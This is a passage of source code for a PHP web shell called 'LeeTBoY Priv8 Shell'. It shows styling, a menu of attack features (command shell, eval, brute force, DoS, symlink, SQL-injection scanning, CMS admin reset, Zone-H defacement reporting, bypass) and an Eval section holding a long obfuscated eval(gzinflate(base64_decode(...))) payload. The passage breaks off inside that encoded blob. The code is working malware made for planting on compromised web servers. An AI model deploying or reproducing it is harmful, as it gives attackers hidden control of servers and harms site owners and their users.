  587. #menu { background:transparent; margin:2px 2px 2px 2px; line-height: 2.4; }
  588. #menu a { padding:4px 18px; margin:0; background:#222222; text-decoration:none; letter-spacing:2px; line-height: 2.4; }
  589. #menu a:hover { background:#744F4F; border-bottom:1px solid #333333; border-top:1px solid #333333;line-height: 2.4; }
  590. .tabnet { margin:15px auto 0 auto; border: 1px solid greeen; }
  591. .main { width:100%; }
  592. .gaya { color: #4C83AF; }
  593. .your_ip { color: #FF4719; }
  594. .inputz { background:transparent; border:1px solid #4C83AF; padding:2px;}
  595. .inputzbut { background:transparent; color:#666666; margin:0 4px; border:1px solid #4C83AF; }
  596. .inputz:hover,
  597. .inputzbut:hover { border:1px solid red; color:#D4CECE; }
  598. .output { margin:auto; border:1px solid #FF0000; width:100%; height:400px; background:#000000; padding:0 2px; }
  599. .cmdbox { width:100%; }
  600. .head_info { padding: 0 4px; }
  601. .b1 { font-size:30px; padding:0; color:#FF0000; }
  602. .b2 { font-size:30px; padding:0; color: #FF9966; }
  603. .b_tbl { text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
  604. .phpinfo table { width:100%; padding:0 0 0 0; }
  605. .phpinfo td { background:#111111; color:#cccccc; padding:6px 8px;; }
  606. .phpinfo th, th { background:transparent; border-bottom:1px solid #333333; font-weight:normal; }
  607. .phpinfo h2,
  608. .phpinfo h2 a { text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; }
  609. .explore { width:100%; }
  610. .explore a { text-decoration:none; }
  611. .explore td { border-bottom:1px solid #DB2B2B; padding:0 8px; line-height:24px; }
  612. .explore th { padding:3px 8px; font-weight:normal; }
  613. .explore th:hover,
  614. .phpinfo th:hover { border-bottom:1px solid #4C83AF; }
  615. .explore tr:hover { background:#744F4F; }
  616. .exptoptab { background:transparent; border:1px solid yellow; }
  617. .viewfile { background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; }
  618. .sembunyi { display:none; padding:0;margin:0; }
  619. .text3d{text-shadow:-4px 0px 10px rgb(255,0,0),8px 0px 20px rgb(300,0,0),-16px 0px 30px rgb(300,0,0);position:fixed;bottom:50%;left:30%;20%;font-family:Imprint MT Shadow;font-weight:bold;font-size:32px;color:black;text-align:center;}
  620. element.style {
  621. background-color: transparent;
  622. border: 2px solid red;
  623. color: green;
  624. }
  625. .text3d:hover{text-shadow:0px 0px 8px blue,0px 0px 8px blue,0px 0px 8px blue;background:transparent;color:black;}
  626. </style>
  627. </head>
  628. <body onLoad="document.getElementById('cmd').focus();">
  629. <div class="main">
  630. <!-- head info start here -->
  631. <div class="head_info">
  632. <table>
  633. <tr>
  634. <td>
  635. <table class="b_tbl">
  636. <tr>
  637. <td>
  638. <a href="?">
  639. <span class="b1">L<span class="b2">ee<span class="b1">T</span>B</span>o</span><span class="b1">Y</span>
  640. </a>
  641. </td>
  642. </tr>
  643. <tr>
  644. <td>LeeTBoY Priv8 Shell <?php echo $ver; ?></td>
  645. </tr>
  646. </table>
  647. </td>
  648. <td>
  649. <?php echo $buff; ?>
  650. </td>
  651. </tr>
  652. </table>
  653. </div>
  654. <!-- head info end here -->
  655. <!-- menu start -->
  656. <div id="menu">
  657. <center>
  658. <a href="?<?php echo "y=".$pwd; ?>&amp;x=about"> <b>About</b></a>
  659. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mass"> <b>Mass</b></a>
  660. <a href="?<?php echo "y=".$pwd; ?>"> <b>Explore</b></a>
  661. <a href="?<?php echo "y=".$pwd; ?>&amp;x=string"> <b>string</b></a>
  662. <a href="?<?php echo "y=".$pwd; ?>&amp;x=shell"> <b>Shell</b></a>
  663. <a href="?<?php echo "y=".$pwd; ?>&amp;x=php"> <b>Eval</b></a>
  664. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql"> <b>MySQL</b></a>
  665. <a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo"> <b>PHP</b></a>
  666. <a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit"> <b>NetSploit</b></a>
  667. <a href="?<?php echo "y=".$pwd; ?>&amp;x=upload"> <b>Upload</b></a>
  668. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mail"> <b>Mail</b></a>
  669. <a href="?<?php echo "y=".$pwd; ?>&amp;x=brute"> <b>BruteForce</b></a>
  670. <a href="?<?php echo "y=".$pwd; ?>&amp;x=readable"> <b>OpenDIR</b></a>
  671. <a href="?<?php echo "y=".$pwd; ?>&amp;x=dos"> <b>D0S</b></a>
  672. <a href="?<?php echo "y=".$pwd; ?>&amp;x=localdomain"> <b>LocalDomain</b></a>
  673. <a href="?<?php echo "y=".$pwd; ?>&amp;x=zone-h"> <b>Zone-H</b></a>
  674. <a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink"> <b>Symlink</b></a>
  675. <a href="?<?php echo "y=".$pwd; ?>&amp;x=sqli-scanner"> <b>SQLI Scan</b></a>
  676. <a href="?<?php echo "y=".$pwd; ?>&amp;x=web-info"> <b>Website Whois</b></a>
  677. <a href="?<?php echo "y=".$pwd; ?>&amp;x=port-scanner"> <b>Port-Scanner</b></a>
  678. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wp-reset"> <b>WP Reset</b></a>
  679. <a href="?<?php echo "y=".$pwd; ?>&amp;x=jm-reset"> <b>Joomla Reset</b></a>
  680. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cms-scanner"> <b>CMS Scanner</b></a>
  681. <a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass"> <b>bypass</b></a>
  682. <a href="?<?php echo "y=".$pwd; ?>&amp;x=vb"> <b>VB Changer</b></a>
  683. <a href="?<?php echo "y=".$pwd; ?>&amp;x=lbwpic"> <b>wp i changer</b></a>
  684. <a href="?<?php echo "y=".$pwd; ?>&amp;x=lbjic"> <b>joomla i changer</b></a>
  685.  
  686. <a href="?x=out"> <b>Log-Out</b></a>
  687. </center>
  688. </div>
  689. <!-- menu end -->
  690.  
  691.  
  692. <?php
  693. if(isset($_GET['x']) && ($_GET['x'] == 'out')) { logout(); }
  694. elseif(isset($_GET['x']) && ($_GET['x'] == 'php'))
  695. {
  696. ?>
  697. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  698. <table class="cmdbox">
  699.  
  700. <tr>
  701. <td>
  702. <textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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